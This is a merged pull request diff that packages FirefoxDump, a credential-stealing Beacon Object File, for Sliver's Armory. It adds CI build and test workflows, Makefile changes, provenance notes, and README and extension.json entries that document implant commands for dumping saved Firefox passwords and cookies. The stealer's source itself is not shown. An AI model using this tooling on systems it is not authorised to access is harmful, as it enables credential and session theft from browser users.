Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
406 changes: 406 additions & 0 deletions .github/workflows/package.yml

Large diffs are not rendered by default.

151 changes: 151 additions & 0 deletions .github/workflows/reflektor.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
name: Reflektor compatibility

on:
pull_request:
push:
branches:
- main

permissions:
contents: read

concurrency:
group: reflektor-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true

jobs:
build:
name: Build Windows COFF objects
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- name: Check out source
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false

- name: Install pinned MinGW toolchains
shell: bash
run: |
set -euo pipefail
readonly -a packages=(
'binutils-mingw-w64-i686=2.41.90.20240122-1ubuntu1+11.4'
'binutils-mingw-w64-x86-64=2.41.90.20240122-1ubuntu1+11.4'
'gcc-mingw-w64-base=13.2.0-6ubuntu1+26.1'
'gcc-mingw-w64-i686-win32-runtime=13.2.0-6ubuntu1+26.1'
'gcc-mingw-w64-i686-win32=13.2.0-6ubuntu1+26.1'
'gcc-mingw-w64-x86-64-win32-runtime=13.2.0-6ubuntu1+26.1'
'gcc-mingw-w64-x86-64-win32=13.2.0-6ubuntu1+26.1'
'mingw-w64-common=11.0.1-3build1'
'mingw-w64-i686-dev=11.0.1-3build1'
'mingw-w64-x86-64-dev=11.0.1-3build1'
'make=4.3-4.1build2'
)
sudo apt-get update
sudo apt-get install --yes --no-install-recommends "${packages[@]}"
sudo update-alternatives --set \
i686-w64-mingw32-gcc \
/usr/bin/i686-w64-mingw32-gcc-win32
sudo update-alternatives --set \
x86_64-w64-mingw32-gcc \
/usr/bin/x86_64-w64-mingw32-gcc-win32
for spec in "${packages[@]}"; do
package="${spec%%=*}"
expected="${spec#*=}"
actual="$(dpkg-query --show --showformat='${Version}' "$package")"
test "$actual" = "$expected"
printf '%s=%s\n' "$package" "$actual"
done
test "$(i686-w64-mingw32-gcc -dumpmachine)" = i686-w64-mingw32
test "$(x86_64-w64-mingw32-gcc -dumpmachine)" = x86_64-w64-mingw32

- name: Build and inspect repository objects
shell: bash
run: |
set -euo pipefail
make all
i686-w64-mingw32-objdump -f \
bin/firefoxdump.x86.o | \
tee "$RUNNER_TEMP/firefoxdump.x86.objdump.txt"
x86_64-w64-mingw32-objdump -f \
bin/firefoxdump.x64.o | \
tee "$RUNNER_TEMP/firefoxdump.x64.objdump.txt"
grep -F 'architecture: i386' \
"$RUNNER_TEMP/firefoxdump.x86.objdump.txt"
grep -F 'architecture: i386:x86-64' \
"$RUNNER_TEMP/firefoxdump.x64.objdump.txt"
test -s bin/firefoxdump.x86.o
test -s bin/firefoxdump.x64.o

- name: Upload unsigned test objects
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: firefoxdump-reflektor-objects
path: bin/firefoxdump.*.o
if-no-files-found: error
retention-days: 1

execute:
name: Execute Reflektor (${{ matrix.goarch }})
needs:
- build
runs-on: windows-2025
timeout-minutes: 15
strategy:
fail-fast: false
matrix:
include:
- goarch: amd64
object: firefoxdump.x64.o
- goarch: "386"
object: firefoxdump.x86.o
steps:
- name: Check out test harness
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false

- name: Set up pinned Go toolchain
uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: tests/reflektor/go.mod
cache-dependency-path: tests/reflektor/go.sum

- name: Download repository objects
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
name: firefoxdump-reflektor-objects
path: tests/reflektor/artifacts

- name: Build and execute native-architecture harness
shell: pwsh
env:
CGO_ENABLED: "0"
GOARCH: ${{ matrix.goarch }}
GOOS: windows
GOWORK: "off"
run: |
$ErrorActionPreference = "Stop"
Push-Location tests/reflektor
try {
$goVersion = go env GOVERSION
if ($goVersion -ne "go1.26.6") {
throw "Go version is $goVersion, want go1.26.6"
}
$reflektorVersion = go list -mod=readonly -m `
-f '{{.Version}}' github.com/sliverarmory/reflektor
if ($reflektorVersion -ne "v0.0.7") {
throw "Reflektor version is $reflektorVersion, want v0.0.7"
}
go mod verify
go build -mod=readonly -trimpath -buildvcs=false `
-o "$env:RUNNER_TEMP/reflektor-smoke.exe" .
& "$env:RUNNER_TEMP/reflektor-smoke.exe" `
-object "artifacts/${{ matrix.object }}"
if ($LASTEXITCODE -ne 0) {
throw "Reflektor smoke test exited with $LASTEXITCODE"
}
}
finally {
Pop-Location
}
8 changes: 8 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,5 +1,13 @@
# Compiled objects
*.o
/release/

# Python caches
__pycache__/
*.pyc

# Local signing material (the public key is minisign.pub and is committed)
minisign.key

# Editor files
*.swp
Expand Down
16 changes: 10 additions & 6 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,21 @@

CC_X64 = x86_64-w64-mingw32-gcc
CC_X86 = i686-w64-mingw32-gcc
CFLAGS = -I src/common -Os -c -DBOF
CFLAGS = -Os -c -DBOF -Wall -Wextra -Wpedantic -Werror -Wno-cast-function-type
BIN_DIR = bin

all: x64 x86

x64:
$(CC_X64) -o bin/firefoxdump.x64.o $(CFLAGS) src/entry.c
x64: | $(BIN_DIR)
$(CC_X64) -o $(BIN_DIR)/firefoxdump.x64.o $(CFLAGS) src/entry.c

x86:
$(CC_X86) -o bin/firefoxdump.x86.o $(CFLAGS) src/entry.c
x86: | $(BIN_DIR)
$(CC_X86) -o $(BIN_DIR)/firefoxdump.x86.o $(CFLAGS) src/entry.c

$(BIN_DIR):
mkdir -p $(BIN_DIR)

clean:
rm -f bin/*.o
rm -f $(BIN_DIR)/*.o

.PHONY: all x64 x86 clean
23 changes: 23 additions & 0 deletions NOTICE
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
FirefoxDump Armory package
==========================

This distribution is based on FirefoxDump by mrrobot1o1:
https://github.com/mrrobot1o1/firefoxdump

Upstream source revision: e5f9a4143598a0363145be5ec3f7c4496cfa9cff

The upstream repository's root LICENSE declares the project under the GNU
General Public License, version 3. This distribution is licensed under
GPL-3.0-only; the full license text is in LICENSE.

Armory packaging modifications made in August 2026 include a minimal original
BOF API header, Reflektor compatibility, read-only data access, bounds checks,
resource cleanup, and corrected Firefox cookie handling.

Earlier upstream revisions included src/common/base.c, src/common/beacon.h, and
src/common/bofdefs.h from the TrustedSec CS-Situational-Awareness-BOF project.
Those files are not included in this distribution. They were replaced with the
project-specific src/bof_api.h implementation.

The Firefox credential-decryption approach credits the firefox_decrypt project:
https://github.com/unode/firefox_decrypt
37 changes: 28 additions & 9 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,18 +1,31 @@
# Firefox Dump BOF

A Beacon Object File (BOF) for Cobalt Strike that extracts saved passwords and cookies from Mozilla Firefox profiles.
A Beacon Object File (BOF) that extracts saved passwords and cookies from Mozilla Firefox profiles. The Armory package runs through Sliver's built-in Reflektor BOF executor.

## Features

- **Password Extraction**: Decrypts saved passwords from `logins.json` (modern) and `signons.sqlite` (legacy)
- **Cookie Extraction**: Extracts cookies from `cookies.sqlite`
- **Cookie Extraction**: Reads cookie values from Firefox's `moz_cookies` table
- **NSS Decryption**: Uses Firefox's NSS libraries for password decryption
- **Multi-Profile Support**: Enumerates and processes all Firefox profiles
- **Key Database Support**: Works with both `key4.db` (modern) and `key3.db` (legacy)
- **x86/x64 Support**: Compiled for both architectures

## Usage

### Load in Sliver

This package requires a Sliver client, server, and implant built from
`b19e383111dbf8b04096806b249f6238274edff4` or later, with built-in BOF v1
execution through Reflektor. It intentionally has no `coff-loader` fallback.

```text
sliver > armory install firefoxdump
sliver > firefoxdump
sliver > firefoxdump --mode /all
sliver > firefoxdump --mode /cookies
```

### Load in Cobalt Strike

```
Expand Down Expand Up @@ -71,10 +84,10 @@ Compiled files are output to the `bin/` directory.

```bash
# 64-bit
x86_64-w64-mingw32-gcc -o bin/firefoxdump.x64.o -I src/common -Os -c src/entry.c -DBOF
x86_64-w64-mingw32-gcc -o bin/firefoxdump.x64.o -Os -c src/entry.c -DBOF

# 32-bit
i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -I src/common -Os -c src/entry.c -DBOF
i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -Os -c src/entry.c -DBOF
```

## How It Works
Expand All @@ -94,8 +107,8 @@ i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -I src/common -Os -c src/entry.c -
- Decrypts using `PK11SDR_Decrypt` from NSS

5. **Cookie Extraction**:
- Reads `cookies.sqlite`
- Decrypts encrypted cookie values using NSS
- Opens `cookies.sqlite` read-only
- Reads the `host`, `path`, `name`, and `value` columns used by Firefox

## Technical Details

Expand All @@ -119,26 +132,32 @@ i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -I src/common -Os -c src/entry.c -
- `winsqlite3.dll` (Windows built-in) - For SQLite operations
- Firefox NSS libraries - For password decryption

### Safety Bounds

- Processes at most 10 profiles and 50 password or cookie rows per profile
- Rejects `logins.json` files larger than 32 MiB
- Suppresses further callback records after 8 MiB of output per execution

## OPSEC Considerations

- Loads Firefox DLLs into beacon process memory
- Accesses user profile directories
- Reads sensitive credential files
- Uses `CryptUnprotectData` for DPAPI operations
- Initializes the Firefox NSS profile in read-only mode

## MITRE ATT&CK

- **T1555.003** - Credentials from Web Browsers

## Credits

Based on the [CS-Situational-Awareness-BOF](https://github.com/trustedsec/cs-situational-awareness-bof) collection by TrustedSec.
FirefoxDump was originally created by [mrrobot1o1](https://github.com/mrrobot1o1/firefoxdump). See [NOTICE](NOTICE) for source and modification provenance.

Firefox decryption logic inspired by [firefox_decrypt](https://github.com/unode/firefox_decrypt/).

## License

MIT License
GNU General Public License v3.0 only. See [LICENSE](LICENSE).

## Disclaimer

Expand Down
43 changes: 43 additions & 0 deletions extension.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
{
"name": "firefoxdump",
"package_name": "firefoxdump",
"version": "v0.0.0",
"extension_author": "Sliver Armory",
"original_author": "mrrobot1o1",
"repo_url": "https://github.com/sliverarmory/firefoxdump",
"commands": [
{
"command_name": "firefoxdump",
"help": "Extract saved passwords and cookies from Firefox profiles.",
"long_help": "Extract Firefox secrets from accessible profiles. With no mode, extract passwords only; use --mode /all for passwords and cookies or --mode /cookies for cookies only. Requires a Sliver client, server, and implant with built-in BOF/Reflektor support. Use only on systems and data you are authorized to access.",
"entrypoint": "go",
"bof_executor": "reflektor",
"init": "",
"arguments": [
{
"name": "mode",
"type": "string",
"desc": "Extraction mode: omit for passwords, set --mode /all for passwords and cookies, or --mode /cookies for cookies only.",
"optional": true,
"default": "",
"choices": [
"/all",
"/cookies"
]
}
],
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "firefoxdump.x64.o"
},
{
"os": "windows",
"arch": "386",
"path": "firefoxdump.x86.o"
}
]
}
]
}
2 changes: 1 addition & 1 deletion firefoxdump.cna
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ alias firefoxdump {
}

# Pack option for BOF
$data = bof_pack($option);
$data = bof_pack($bid, "z", $option);
btask($bid, "Extracting Firefox secrets");
beacon_inline_execute($bid, $bof, "go", $data);
}
2 changes: 2 additions & 0 deletions minisign.pub
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
untrusted comment: minisign public key 5F96BC3ABC5BEF13
RWQT71u8OryWX4sIY2mwJq/41tKfI6SdZivwRlWLP9pBDn6ijresXI/H
Loading
Loading